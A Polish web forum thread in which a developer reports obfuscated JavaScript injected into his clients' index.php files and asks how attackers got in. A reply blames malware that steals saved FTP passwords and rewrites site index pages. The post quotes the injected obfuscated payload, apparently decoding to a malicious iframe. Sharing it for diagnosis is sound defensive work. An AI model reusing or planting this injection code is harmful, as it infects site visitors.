Ta witryna może wyrządzić szkody na Twoim komputerze.

Moj klient powiadomil mnie ze od pewnego czasu google pokazuje ostrzezenie:
Ta witryna może wyrządzić szkody na Twoim komputerze.
Zauwazylem ze w pliku index.php pojawil sie wpis, ktorego oczuwiscie nie dodalem:
e = '0x00' + '74';str1 "%CF%97%9C%81%EB%86%87%8C%9F%90%C8%D5%81%9C%86%9C%95%9C%9F%9C%87%8C%CD%93%9C%97%97%90%99%D5%C9%CF%9C%91%85%94%98%90%EB%86%85%96%C8%D5%93%87%87%9B%CD%DA%DA%92%97%91%96%99%87%D9%9C%99%91%9A%DA%9F%97%DA%80%9B%9F%DA%D5%EB%82%9C%97%87%93%C8%C4%EB%93%90%9C%92%93%87%C8%C4%C9%CF%DA%9C%91%85%94%98%90%C9%CF%DA%97%9C%81%C9";str=tmp='';for(i=0;i<str1.length;i+=3){tmp unescape(str1.slice(i,i+3));str=str+String.fromCharCode((tmp.charCodeAt(0)e)-127);}document.write(str);|
wyglada na to ze ktos wykorzystal luke w stronie.
po jakim czasie okazalo sie ze kilku innych moich klientow, u ktorych zastosowalem skrypt galerii fotografii mojego autorstwa ma ten problem.
prosze o porade jak ktos sie dostal do moich stron. Oraz jak dosyc szybko powiadomic google, ze w pliku nie ma juz zlosliwego kodu
dla chcacych przeanalizowac kod ogolnodostepnej galerii podaje zrodlo: bartoszyce.info/download/dn.php3?dn=WebGal_V_4.1.zip
pozdrawiam M.G.

Miałem (w zasadzie moja luba miała), zbadałem, ale nie do końca. Jeszcze poszukam w google, co to za syf. Niech zgadnę: 1. Macie total commandera? 2. macie sporo połączeń z wprowadzonymi hasłami w TC? 3. już po was :) Natychmiast zmieniajcie hasła, ale z innego kompa. Prosta robota: Grasuje po necie jakiś syfiasty webowy robal. Ładuje się do systemu, wyczytuje konfg total commandera i Bóg wie, co jeszcze z kompa i wysyła gdzieś do "centrali" Centrala robi resztę: wpierdziela się do waszych ftpów i podmienia wszystkie pliki index.php index.html index.htm index.asp default itp dopisuje do nich jedną lub kilka linijek W przypadku M.G. syf dopisał kawałek javascriptu generującego iframe z syfiastą zawartością. W moim iframe było wrzucone bez szyfrowania. Muszę namierzyć to gówno, wiem, że algorytm ma zmienny, nie wiem, czy wraca na raz zainfekowane ftpy. Serdeczne pozdrowienia Marcin P zadalem rowniez problem na pl.comp.www
oto jeden z postow: